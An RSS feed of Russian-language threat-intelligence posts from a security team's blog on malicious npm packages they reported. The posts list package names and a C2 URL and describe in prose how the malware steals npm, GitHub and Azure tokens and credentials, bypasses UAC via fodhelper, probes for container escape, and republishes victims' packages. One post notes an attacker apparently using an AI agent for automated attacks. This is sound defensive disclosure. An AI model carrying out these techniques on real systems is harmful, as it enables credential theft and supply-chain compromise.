<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>scs &#8211; PT ESC</title>
	<atom:link href="/tag/scs/feed/index.xml" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description></description>
	<lastBuildDate>Wed, 30 Sep 2026 19:24:06 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.3</generator>

<image>
	<url>/wp-content/uploads/2026/09/cropped-cropped-large_icon-32x32.png</url>
	<title>scs &#8211; PT ESC</title>
	<link>/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Enterprise-grade validation system with schema support</title>
		<link>/enterprise-grade-validation-system-with-schema-support/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Wed, 26 Aug 2026 12:33:34 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[npm]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">/enterprise-grade-validation-system-with-schema-support/</guid>

					<description><![CDATA[Enterprise-grade validation system with schema support (c) Автор десятка троянов, забывший добавить &#34;Enterprise-grade&#34; обфускацию Мы обнаружили и сообщили администрации npm о серии вредоносных пакетов: @phonos/types @structureit/ir-dealapi-js @wame/ngx-adfs @wame/ngx-frf-utilities cclr-component-resources compliancepolicyserv connectedmerchantsserv ftapi-core…]]></description>
										<content:encoded><![CDATA[<blockquote>
<p>Enterprise-grade validation system with schema support</p>
<p><cite><strong>(c) Автор десятка троянов, забывший добавить &quot;Enterprise-grade&quot; обфускацию</strong></cite></p></blockquote>
<p>Мы обнаружили и сообщили администрации npm о серии вредоносных пакетов:</p>
<ul>
<li><code>@phonos/types</code></li>
<li><code>@structureit/ir-dealapi-js</code></li>
<li><code>@wame/ngx-adfs</code></li>
<li><code>@wame/ngx-frf-utilities</code></li>
<li><code>cclr-component-resources</code></li>
<li><code>compliancepolicyserv</code></li>
<li><code>connectedmerchantsserv</code></li>
<li><code>ftapi-core</code></li>
<li><code>lakk-analytics</code></li>
<li><code>meshim-frontend-config</code></li>
<li><code>nms-dashboard-js</code></li>
<li><code>oc-aa-module-client</code></li>
<li><code>oc-ccp-module-client</code></li>
<li><code>oc-navbar-module-client</code></li>
<li><code>qr-code-styling-temp</code></li>
<li><code>uploader-frontend</code></li>
<li><code>uploader-frontend-legacy</code></li>
</ul>
<figure class="wp-block-image"><img width="1024" height="625" src="/wp-content/uploads/2026/08/photo_603@26-08-2026_12-33-34-1024x625.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/08/photo_603@26-08-2026_12-33-34-1024x625.jpg 1024w, /wp-content/uploads/2026/08/photo_603@26-08-2026_12-33-34-300x183.jpg 300w, /wp-content/uploads/2026/08/photo_603@26-08-2026_12-33-34-768x468.jpg 768w, /wp-content/uploads/2026/08/photo_603@26-08-2026_12-33-34-1536x937.jpg 1536w, /wp-content/uploads/2026/08/photo_603@26-08-2026_12-33-34-2048x1249.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>В совокупности пакеты были скачаны более 1600 раз</figcaption></figure>
<p>Перечисленные пакеты содержат схожий код и стратегию размещения: сперва публикуется чистая версия (обычно это <code>9.9.0</code>), через пару дней публикуется «обновление » с нежелательным функционалом.</p>
<p>ㅤ</p>
<p>Вредоносная логика срабатывает во время установки, исполняя <code>index.js</code> c передачей управления <code>./lib/core.js</code></p>
<figure class="wp-block-image"><img width="1024" height="967" src="/wp-content/uploads/2026/08/photo_604@26-08-2026_12-33-34-1024x967.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/08/photo_604@26-08-2026_12-33-34-1024x967.jpg 1024w, /wp-content/uploads/2026/08/photo_604@26-08-2026_12-33-34-300x283.jpg 300w, /wp-content/uploads/2026/08/photo_604@26-08-2026_12-33-34-768x725.jpg 768w, /wp-content/uploads/2026/08/photo_604@26-08-2026_12-33-34-1536x1450.jpg 1536w, /wp-content/uploads/2026/08/photo_604@26-08-2026_12-33-34-2048x1933.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p>Скрипты с вредоносной логикой довольно компактны — каждый по отдельности занимает не больше килобайта.</p>
<p>ㅤ</p>
<p>В коде используются две техники сокрытия логики: однострочники и хранение констант в виде массивов ASCII-кодов без дополнительной обфускации.</p>
<p>ㅤ</p>
<p>Назначение сниппетов на примере <code>@phonos/types</code> (мы добавили в код поясняющие комментарии):</p>
<figure class="wp-block-image"><img width="1024" height="205" src="/wp-content/uploads/2026/08/photo_605@26-08-2026_12-33-34-1024x205.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/08/photo_605@26-08-2026_12-33-34-1024x205.jpg 1024w, /wp-content/uploads/2026/08/photo_605@26-08-2026_12-33-34-300x60.jpg 300w, /wp-content/uploads/2026/08/photo_605@26-08-2026_12-33-34-768x154.jpg 768w, /wp-content/uploads/2026/08/photo_605@26-08-2026_12-33-34-1536x307.jpg 1536w, /wp-content/uploads/2026/08/photo_605@26-08-2026_12-33-34.jpg 1990w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption><code>b02e30.js</code> хранит информацию о C2. Из занятного: злоумышленник поленился закодировать имя кампании</figcaption></figure>
<figure class="wp-block-image"><img width="1024" height="397" src="/wp-content/uploads/2026/08/photo_606@26-08-2026_12-33-34-1024x397.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/08/photo_606@26-08-2026_12-33-34-1024x397.jpg 1024w, /wp-content/uploads/2026/08/photo_606@26-08-2026_12-33-34-300x116.jpg 300w, /wp-content/uploads/2026/08/photo_606@26-08-2026_12-33-34-768x298.jpg 768w, /wp-content/uploads/2026/08/photo_606@26-08-2026_12-33-34-1536x595.jpg 1536w, /wp-content/uploads/2026/08/photo_606@26-08-2026_12-33-34.jpg 1590w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption><code>6ad264.js</code> — резолвит модули <code>os</code>, <code>dns</code> и <code>process</code></figcaption></figure>
<figure class="wp-block-image"><img width="1024" height="778" src="/wp-content/uploads/2026/08/photo_607@26-08-2026_12-33-34-1024x778.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/08/photo_607@26-08-2026_12-33-34-1024x778.jpg 1024w, /wp-content/uploads/2026/08/photo_607@26-08-2026_12-33-34-300x228.jpg 300w, /wp-content/uploads/2026/08/photo_607@26-08-2026_12-33-34-768x583.jpg 768w, /wp-content/uploads/2026/08/photo_607@26-08-2026_12-33-34-1536x1167.jpg 1536w, /wp-content/uploads/2026/08/photo_607@26-08-2026_12-33-34.jpg 1540w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption><code>core.js</code> — получает и эксфильтрует информацию</figcaption></figure>
<p>Нагрузка на первый взгляд выглядит безобидной — всего лишь получение злоумышленником базового представления о пользователе, установившем пакет. Можно даже допустить версию, что эти пакеты были созданы из благородных побуждений. С другой стороны, npm прямо запрещает размещение подобных пакетов даже в исследовательских целях:</p>
<blockquote>
<p>Несколько примеров неприемлемого контента:<br />
&#8230;<br />
3. Контент, содержащий вредоносный компьютерный код, такой как компьютерные вирусы, компьютерные черви, руткиты, бэкдоры или шпионское ПО. <strong>Это включает контент, предоставленный в исследовательских целях.</strong></p>
<p><cite><a href="https://docs.npmjs.com/policies/open-source-terms#acceptable-use" rel="noopener" target="_blank"><strong>https://docs.npmjs.com/policies/open-source-terms#acceptable-use</strong></a><strong> (перевод)</strong></cite></p></blockquote>
<blockquote>
<p>Не хотите, чтобы ваши CI/CD и устройства разработчиков поучаствовали в такого рода незапланированном опросе? Решение есть: фиды для безопасной разработки в рамках <a href="https://ptsecurity.com/services/fusion/" rel="noopener" target="_blank">PT Fusion</a>.</p>
<p><cite><strong><em>Supply Chain Security Team</em></strong></cite></p></blockquote>
<p><span class="hashtag">#npm</span> <span class="hashtag">#scs</span> <span class="hashtag">#ti</span></p>
<p><a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Хаос, шок, приватные ключи от не менее приватного GitLab 💻</title>
		<link>/chaos-shock-private-keys-from-a-not-so-private-gitlab/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Tue, 28 Jul 2026 19:03:30 +0000</pubDate>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[npm]]></category>
		<category><![CDATA[scs]]></category>
		<guid isPermaLink="false">/chaos-shock-private-keys-from-a-not-so-private-gitlab/</guid>

					<description><![CDATA[Последние пару месяцев злоумышленник распространял трояны с нескольких npm-учеток: alex05255, mdrafiqulislamrabby, b.w1001, abdev8773 и mollspotwood54400. Список пакетов: 🌟 svg-fetcher 🌟 tradepilot 🌟 polytrade 🌟 polymarket-kit 🌟 react-svg-chunk 🌟 gamified-trading-system 🌟 font-huge 🌟…]]></description>
										<content:encoded><![CDATA[<p>Последние пару месяцев злоумышленник распространял трояны с нескольких npm-учеток: <code>alex05255</code>, <code>mdrafiqulislamrabby</code>, <code>b.w1001</code>, <code>abdev8773</code> и <code>mollspotwood54400</code>.</p>
<p><strong>Список пакетов:</strong></p>
<p>🌟 <code>svg-fetcher</code></p>
<p>🌟 <code>tradepilot</code></p>
<p>🌟 <code>polytrade</code></p>
<p>🌟 <code>polymarket-kit</code></p>
<p>🌟 <code>react-svg-chunk</code></p>
<p>🌟 <code>gamified-trading-system</code></p>
<p>🌟 <code>font-huge</code></p>
<p>🌟 <code>font-hub</code></p>
<p>🌟 <code>mdb-vite</code></p>
<p>🌟 <code>router-processor</code></p>
<p>🌟 <code>route-processor</code></p>
<p>Код, по классике жанра, навайбкожен. На это указывают избыточные поясняющие комментарии:</p>
<figure class="wp-block-image"><img width="1024" height="391" src="/wp-content/uploads/2026/07/photo_595@28-07-2026_19-03-30-1024x391.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/07/photo_595@28-07-2026_19-03-30-1024x391.jpg 1024w, /wp-content/uploads/2026/07/photo_595@28-07-2026_19-03-30-300x115.jpg 300w, /wp-content/uploads/2026/07/photo_595@28-07-2026_19-03-30-768x293.jpg 768w, /wp-content/uploads/2026/07/photo_595@28-07-2026_19-03-30.jpg 1442w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="410" src="/wp-content/uploads/2026/07/photo_596@28-07-2026_19-03-30-1024x410.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/07/photo_596@28-07-2026_19-03-30-1024x410.jpg 1024w, /wp-content/uploads/2026/07/photo_596@28-07-2026_19-03-30-300x120.jpg 300w, /wp-content/uploads/2026/07/photo_596@28-07-2026_19-03-30-768x308.jpg 768w, /wp-content/uploads/2026/07/photo_596@28-07-2026_19-03-30.jpg 1238w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<h3>Логика пакетов</h3>
<p>🔗 Конкатенация URL C2 из нескольких констант.</p>
<p>🔗 Запрос следующего стейджа. Из занятного:</p>
<p>🌟Нагрузка версионируется и в коде называется <code>token</code>. Нам известны стейджи <code>106</code>, <code>107</code>, <code>108</code> и <code>116</code>.</p>
<p>Итоговый URL: <code>http://svganchordev.net/icons/&lt;token&gt;</p>
<p></code>🌟 Код передает в заголовках ключ <code>bearrtoken</code> (орфография сохранена, вероятно, автор имел в виду <code>bearertoken</code>) со значением <code>logo</code>.</p>
<p>Второй стейдж представлен сильно обфусцированным JS-кодом-однострочником:</p>
<figure class="wp-block-image"><img width="1024" height="552" src="/wp-content/uploads/2026/07/photo_597@28-07-2026_19-03-30-1024x552.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/07/photo_597@28-07-2026_19-03-30-1024x552.jpg 1024w, /wp-content/uploads/2026/07/photo_597@28-07-2026_19-03-30-300x162.jpg 300w, /wp-content/uploads/2026/07/photo_597@28-07-2026_19-03-30-768x414.jpg 768w, /wp-content/uploads/2026/07/photo_597@28-07-2026_19-03-30-1536x829.jpg 1536w, /wp-content/uploads/2026/07/photo_597@28-07-2026_19-03-30-2048x1105.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>Отформатировали для наглядности, все равно страшно</figcaption></figure>
<p>Стейдж собирает информацию о системе — имя пользователя, имя компьютера, операционную систему — и посредством веб-сокета продолжает общение, принимая команды на исполнение.</p>
<p>Реализация качественная, с мультистейджами, спору нет. Но это все равно вредоносная активность, поэтому репортим пакеты админам NPM 🫥</p>
<p>В релизах с токенами <code>106</code> и <code>116</code> есть изюминка, а именно вшитые публичный и приватный ключи GitLab:</p>
<figure class="wp-block-image"><img width="1024" height="446" src="/wp-content/uploads/2026/07/photo_598@28-07-2026_19-03-30-1024x446.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/07/photo_598@28-07-2026_19-03-30-1024x446.jpg 1024w, /wp-content/uploads/2026/07/photo_598@28-07-2026_19-03-30-300x131.jpg 300w, /wp-content/uploads/2026/07/photo_598@28-07-2026_19-03-30-768x334.jpg 768w, /wp-content/uploads/2026/07/photo_598@28-07-2026_19-03-30-1536x668.jpg 1536w, /wp-content/uploads/2026/07/photo_598@28-07-2026_19-03-30.jpg 2036w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p>Мы не можем воспользоваться этими ключами: они относятся к приватному инстансу GitLab, развернутому в инфраструктуре злоумышленника.</p>
<p>Однако интересно, что кампания ведется на настолько серьезном уровне, что злоумышленнику потребовалось версионирование кода, хотя можно было бы использовать Git локально. Можно предположить, что в GitLab настроен CI/CD-пайплайн для обфускации кода и публикации стейджей.</p>
<blockquote>
<p>Хотите автоматически проверять, попали ли эти и другие вредоносные пакеты в ваш контур? Вам сюда: фиды для безопасной разработки из <a href="https://ptsecurity.com/services/fusion/" rel="noopener" target="_blank">PT Fusion</a>.</p>
</blockquote>
<p><span class="hashtag">#npm</span> <span class="hashtag">#scs</span></p>
<p><a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Кто-то сказал sandbox?</title>
		<link>/did-someone-say-sandbox/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 30 Jun 2026 11:20:01 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[npm]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">/%d0%ba%d1%82%d0%be-%d1%82%d0%be-%d1%81%d0%ba%d0%b0%d0%b7%d0%b0%d0%bb-sandbox/</guid>

					<description><![CDATA[Кто-то сказал sandbox? 👀 В очередной раз наблюдаем, как злоумышленники проводят неэтичные ресерчи. Дано: Исследователь по безопасности Nicholas Curran Он опубликовал пакеты с интересными названиями: 🌟2 пакета npm-sandbox-ping-[4 символа] 🌟8 пакетов npm-sandbox-research-[4…]]></description>
										<content:encoded><![CDATA[<p><strong>Кто-то сказал sandbox?</strong> 👀</p>
<p>В очередной раз наблюдаем, как злоумышленники проводят неэтичные ресерчи.</p>
<p><strong>Дано:</strong><br />
Исследователь по безопасности <code>Nicholas Curran</code></p>
<p>Он опубликовал пакеты с интересными названиями:<br />
🌟2 пакета <code>npm-sandbox-ping-[4 символа]</code><br />
🌟8 пакетов <code>npm-sandbox-research-[4 символа]</code><br />
🌟<code>postinstall-logger-7x9z</code><br />
🌟<code>pkg-telemetry-r4f9</code><br />
🌟<code>runtime-metrics-w7k2</code><br />
🌟<code>event-metrics-q3x7</code><br />
🌟<code>build-tracker-n5p1</code></p>
<p>Согласно описанию (<em>скриншот 1</em>), эти пакеты созданы в рамках багбаунти-программы. </p>
<p><strong>Автор заявляет, что:</strong><br />
🔗Пакеты безопасны.<br />
🔗Все чувствительные данные перед отправкой хэшируются — не происходит никакого разглашения секретов.<br />
🔗Пакеты не выполняют закрепления в системе, перемещения в сети и деструктивных действий.<br />
🔗Цель исследования: изучить, изолирует ли npm-песочница небезопасные установочные скрипты.</p>
<p>Ресерч безопасности песочниц? Такое мы любим. Давайте посмотрим, как это реализовано.</p>
<p>Нагрузка стартует дважды: до и после установки пакета (<em>скриншот 2</em>). За Windows-логику отвечает <code>beaconXX.js</code>, все остальные платформы обрабатываются <code>beacon_linux.js</code>. Даже macOS.</p>
<p><strong>Логика под Windows</strong></p>
<p><code>beaconXX.js</code> (<em>скриншот 3</em>):<br />
1️⃣ Эксплуатирует известный <a href="https://mitre.ptsecurity.com/ru-RU/T1548.002" rel="noopener" target="_blank">обход UAC</a> через <code>fodhelper.exe</code>. Для этого, помимо запуска файла, необходимо внести изменения в реестр Windows.<br />
2️⃣ Дропает PowerShell-скрипт в <code>%TEMP%</code> и запускает его с повышенными привилегиями.</p>
<p><strong>PowerShell-скрипт:</strong><br />
1️⃣ Удаляет внесенные в реестр изменения.<br />
2️⃣ Собирает:<br />
🐟 артефакты, специфичные для изучаемой песочницы, с диска D, в том числе файл <code>findings.xml</code>;<br />
🐟 список секретов из Credential Manager;<br />
🐟 <code>npm config list</code> — сюда попадают в том числе токены аутентификации для учетной записи npm;<br />
🐟 все переменные окружения.<br />
3️⃣ Заметает следы, перезаписывая <code>findings.xml</code> следующим текстом:</p>
<blockquote><p>&lt;ArrayOfTaskFinding&gt;&lt;/ArrayOfTaskFinding&gt;</p></blockquote>
<p>
4️⃣ Собранные данные кодирует в base64 и просто отправляет на управляющий сервер&#8230; без хэширования, о котором заявлено в <code>README.md</code> 🤪<br />
5️⃣ В вечном цикле каждые 5 секунд обращается к управляющему серверу за командами на исполнение.</p>
<p>Учитывая, как код пытается вмешаться в работу песочницы, можно предположить, что это кастомная песочница с агентом наподобие Cuckoo Sandbox.</p>
<p><strong>Логика под non-Windows</strong></p>
<p><code>beacon_linux.js</code> (скриншот 4):<br />
1️⃣ Собирает:<br />
🐟 список имён всех переменных окружения;<br />
🐟 значения интересных переменных окружения, связанных с GitHub, NPM, раннерами, пользователем;<br />
🐟 список сетевых интерфейсов.<br />
2️⃣ Проверяет возможности для побега из контейнера, собирая:<br />
🐟 содержимое <code>/proc/1/cgroup</code> (информация об ограничениях контейнера);<br />
🐟 команду запуска процесса с <code>PID 1</code>;<br />
🐟 список примонтированных томов.<br />
🐟 набор <code>capabilities</code> своего процесса;<br />
🐟 наличие <code>/var/run/docker.sock</code> (позволяет управлять Docker с потенциалом полностью захватить устройство);<br />
🐟 доступ к <code>/proc/sched_debug</code> (позволяет разведать процессы, запущенные на хосте).<br />
3️⃣ Собирает артефакты, связанные с CI/CD: список файлов текущего проекта и <code>/home/runner/work</code>, логи GitHub.<br />
4️⃣ Отправляет отчет на управляющий сервер.</p>
<p><strong>Заключение</strong></p>
<p>Пакеты не соответствуют благим целям, о которых нам заявляли в <code>README.md</code>, — поэтому мы зарепортили админам NPM об этом недоразумении.</p>
<p>Странно видеть такое поведение от багхантера, имеющего учетную запись на HackerOne с 2017 🤔</p>
<blockquote><p>Хотите проверить свои проекты на наличие вредоносных внешних зависимостей? Попробуйте фиды для безопасной разработки из PT Fusion.</p></blockquote>
<figure class="wp-block-image"><img width="1024" height="382" src="/wp-content/uploads/2026/06/photo_582@30-06-2026_11-20-01-1024x382.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/06/photo_582@30-06-2026_11-20-01-1024x382.jpg 1024w, /wp-content/uploads/2026/06/photo_582@30-06-2026_11-20-01-300x112.jpg 300w, /wp-content/uploads/2026/06/photo_582@30-06-2026_11-20-01-768x286.jpg 768w, /wp-content/uploads/2026/06/photo_582@30-06-2026_11-20-01-1536x573.jpg 1536w, /wp-content/uploads/2026/06/photo_582@30-06-2026_11-20-01-2048x764.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="764" src="/wp-content/uploads/2026/06/photo_583@30-06-2026_11-20-01-1024x764.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/06/photo_583@30-06-2026_11-20-01-1024x764.jpg 1024w, /wp-content/uploads/2026/06/photo_583@30-06-2026_11-20-01-300x224.jpg 300w, /wp-content/uploads/2026/06/photo_583@30-06-2026_11-20-01-768x573.jpg 768w, /wp-content/uploads/2026/06/photo_583@30-06-2026_11-20-01-1536x1147.jpg 1536w, /wp-content/uploads/2026/06/photo_583@30-06-2026_11-20-01-2048x1529.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="764" src="/wp-content/uploads/2026/06/photo_584@30-06-2026_11-20-01-1024x764.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/06/photo_584@30-06-2026_11-20-01-1024x764.jpg 1024w, /wp-content/uploads/2026/06/photo_584@30-06-2026_11-20-01-300x224.jpg 300w, /wp-content/uploads/2026/06/photo_584@30-06-2026_11-20-01-768x573.jpg 768w, /wp-content/uploads/2026/06/photo_584@30-06-2026_11-20-01-1536x1147.jpg 1536w, /wp-content/uploads/2026/06/photo_584@30-06-2026_11-20-01-2048x1529.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#npm</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>你好! На связи группа Supply Chain Security</title>
		<link>/hello-the-supply-chain-security-team-is-here/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Tue, 12 May 2026 15:30:36 +0000</pubDate>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[scs]]></category>
		<guid isPermaLink="false">/%e4%bd%a0%e5%a5%bd-%d0%bd%d0%b0-%d1%81%d0%b2%d1%8f%d0%b7%d0%b8-%d0%b3%d1%80%d1%83%d0%bf%d0%bf%d0%b0-supply-chain-security/</guid>

					<description><![CDATA[你好! На связи группа Supply Chain Security 🩷 Мы сканируем опенсорс в реальном времени в поисках вредоносного кода. А также ответственные в ESCalator за публикации про интересности в Python Package Index и…]]></description>
										<content:encoded><![CDATA[<p><strong>你好! На связи группа Supply Chain Security </strong><strong>🩷</strong></p>
<p>Мы сканируем опенсорс в реальном времени в поисках вредоносного кода. А также ответственные в ESCalator за публикации про интересности в Python Package Index и NPM 🏃‍♀️</p>
<p>Рады сообщить о коллаборации с парнями из <a href="https://ptsecurity.com/services/fusion/?utm_source=tg_esc&#038;utm_medium=scs&#038;utm_campaign=12_05" rel="noopener" target="_blank">PT Fusion</a> и выпуске фидов по найденным угрозам в формате OSV (<a href="https://ptsecurity.com/about/news/new-feeds-in-pt-fusion-help-to-control-the-security-of-external-dependencies/?utm_source=tg_esc&#038;utm_medium=scs&#038;utm_campaign=12_05" rel="noopener" target="_blank">анонс</a>). Там есть информация не только по вредоносным релизам, но и, например, по удаленным пакетам, что тоже является одним из факторов риска, который нужно учитывать при дальнейшем использовании таких пакетов.</p>
<p>Если в вашей компании есть разработка, и вы беспокоитесь о ее безопасности, то будем рады видеть вас в рядах наших пользователей 🤗</p>
<p><span class="hashtag">#scs</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Злоумышленник публикует .bash_history смотреть без регистрации и смс</title>
		<link>/the-attacker-publishes-bash-history-watch-without-registration-and-sms/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 12 May 2026 14:29:36 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[npm]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">/%d0%b7%d0%bb%d0%be%d1%83%d0%bc%d1%8b%d1%88%d0%bb%d0%b5%d0%bd%d0%bd%d0%b8%d0%ba-%d0%bf%d1%83%d0%b1%d0%bb%d0%b8%d0%ba%d1%83%d0%b5%d1%82-bash_history-%d1%81%d0%bc%d0%be%d1%82%d1%80%d0%b5%d1%82%d1%8c/</guid>

					<description><![CDATA[Злоумышленник публикует .bash_history смотреть без регистрации и смс 😱 Команда Supply Chain Security отправила отчет администрации реестра npm о занятной маленькой кампании против Apple, среди них: • apple-infra-network-v2 (170 скачиваний на момент…]]></description>
										<content:encoded><![CDATA[<p><strong>Злоумышленник публикует .bash_history смотреть без регистрации и смс </strong><strong>😱</strong></p>
<p>Команда Supply Chain Security отправила отчет администрации реестра npm о занятной маленькой кампании против Apple, среди них:</p>
<p>• <code>apple-infra-network-v2</code> (170 скачиваний на момент репорта)<br />
• <code>apple-infra-final-escape</code> (326 скачиваний)<br />
• <code>apple-infra-gcp-leak</code> (165 скачиваний)<br />
• <code>apple-infra-ultimate-bypass</code> (153 скачивания)<br />
• <code>agents-a365-runtime</code> — мимикрия под пакет <code>@microsoft/agents-a365-runtime</code> (447 скачиваний)<br />
• <code>apple-security-internal-scanner-v3</code> (185 скачиваний)<br />
• <code>apple-coredata-internal-service</code> (367 скачиваний)</p>
<p>Часть проектов первой волны лаконична и состоит из одного файла <code>package.json</code> весом менее 1 килобайта (<em>скриншот 1)</em>.</p>
<p><strong>Bash-однострочник:</strong><br />
🌟Получает содержимое <code>/etc/resolv.conf</code> — DNS-конфигурацию устройства.<br />
🌟Проверяет возможность разрезолвить домен <code>internal.apple.com</code> через <code>nslookup</code> / <code>host</code>.<br />
🌟Забирает записи ARP-кеша (таблицы сопоставлений ip-адресов на MAC-адреса).<br />
🌟Обращает внимание на следующие переменные окружения по маске: <code>*PROXY*</code>, <code>*TENCENT*</code>, <code>*REGION*</code>, <code>*ZONE*</code>.</p>
<p><strong>Смысл переменных окружения:</strong></p>
<p><span class="spoiler">PROXY* — забрать настройки корпоративных прокси (HTTP_PROXY, HTTPS_PROXY и другие). Там может попасться значение наподобие http://proxy[.]departmentname.companyname[.]local, позволяющее детальнее идентифицировать жертву;</p>
<p>TENCENT* — вероятно признак инфраструктуры Tencent Cloud</p>
<p>REGION и ZONE — переменные окружения, в которой может храниться местоположение облака, например eu-west-1</span></p>
<p>Этот отчет обрамляется текстом <code>--- NETWORK PIVOT AUDIT ---</code> и <code>--- AUDIT SELESAI ---</code> (индонезийский «Отчет окончен») и отправляется автору пакета.</p>
<p>———</p>
<p>Легко можно поверить, что это пентест- либо багбаунти-активность против Apple: аккуратно собирается отпечаток жертвы, без информации, которая представляла бы коммерческую ценность.</p>
<p>Однако часть дальнейших релизов имеют занятную логику (<em>скриншот 2</em>):</p>
<p>1️⃣ Попытка украсть значение одной из переменных окружения в следующем порядке: <code>NPM_TOKEN</code>, <code>NODE_AUTH_TOKEN</code>, <code>GITHUB_TOKEN</code>, <code>NPM_AUTH_TOKEN</code>. Если их нет, то попробуем взять <code>authToken</code> из файла <code>~/.npmrc</code></p>
<p>2️⃣ Надеясь, что у окружения есть доступ к внутреннему хранилищу npm-пакетов, попытка скачать пакет <code>apple-app-store-server-library</code>, пересобрать его с новой версией и опубликовать в глобальном <code>npmjs.org</code></p>
<p>Our honest reaction на второй пункт: 🤔 Ну и индонезийских комментариев стало больше.</p>
<p>———</p>
<p>По мере развития кампании злоумышленник перестал пускать в глаза пыль благих намерений и стал просто красть все интересные переменные окружения, а также забирать токены Azure IMDS.</p>
<p>В какой-то момент автор, тестируя логику публикации пакета от имени жертвы, случайно упаковал в один из своих релизов все свои скрипты, node-логи и даже <code>.bash-history</code> 🤔 (<em>скриншот 3</em>).</p>
<p>При изучении команд создается четкое ощущение, что мы столкнулись с работой агентской системы по автоматизации проведения пентестов. Лишь сильнейшие из людей могут писать команды наподобие:</p>
<pre><code>echo &#039;длинный валидный однострочный package.json c инфостилером в preinstall-логике&#039;  &gt; package.json &amp;&amp; npm publish</code></pre>
<p>В bash history также попали комментарии. Их мог оставить сам злоумышленник, копируя команды из диалога с LLM, а мог и сам агент:</p>
<blockquote><p>// Masukin ini ke dalam script preinstall lu<br />
# Nyari di mana lokasi instalasi npm lo<br />
# Biasanya hasilnya di /usr/bin/npm. Sekarang kita liat isinya:</p></blockquote>
<p>В переводе на английский:</p>
<blockquote><p>// Enter this into your preinstall script<br />
# Find your npm installation location<br />
# Usually, it&#039;s in /usr/bin/npm. Now let&#039;s look at the contents:</p></blockquote>
<p>———</p>
<p>На дворе 2026 год. Фреймворки для автопентеста уже существуют. Blue team тоже не отстает и предлагает свои решения по использованию LLM в тех же SIEM. Пройдет время, и нам, человекам, останется только с попкорном смотреть за этим противостоянием 🍿</p>
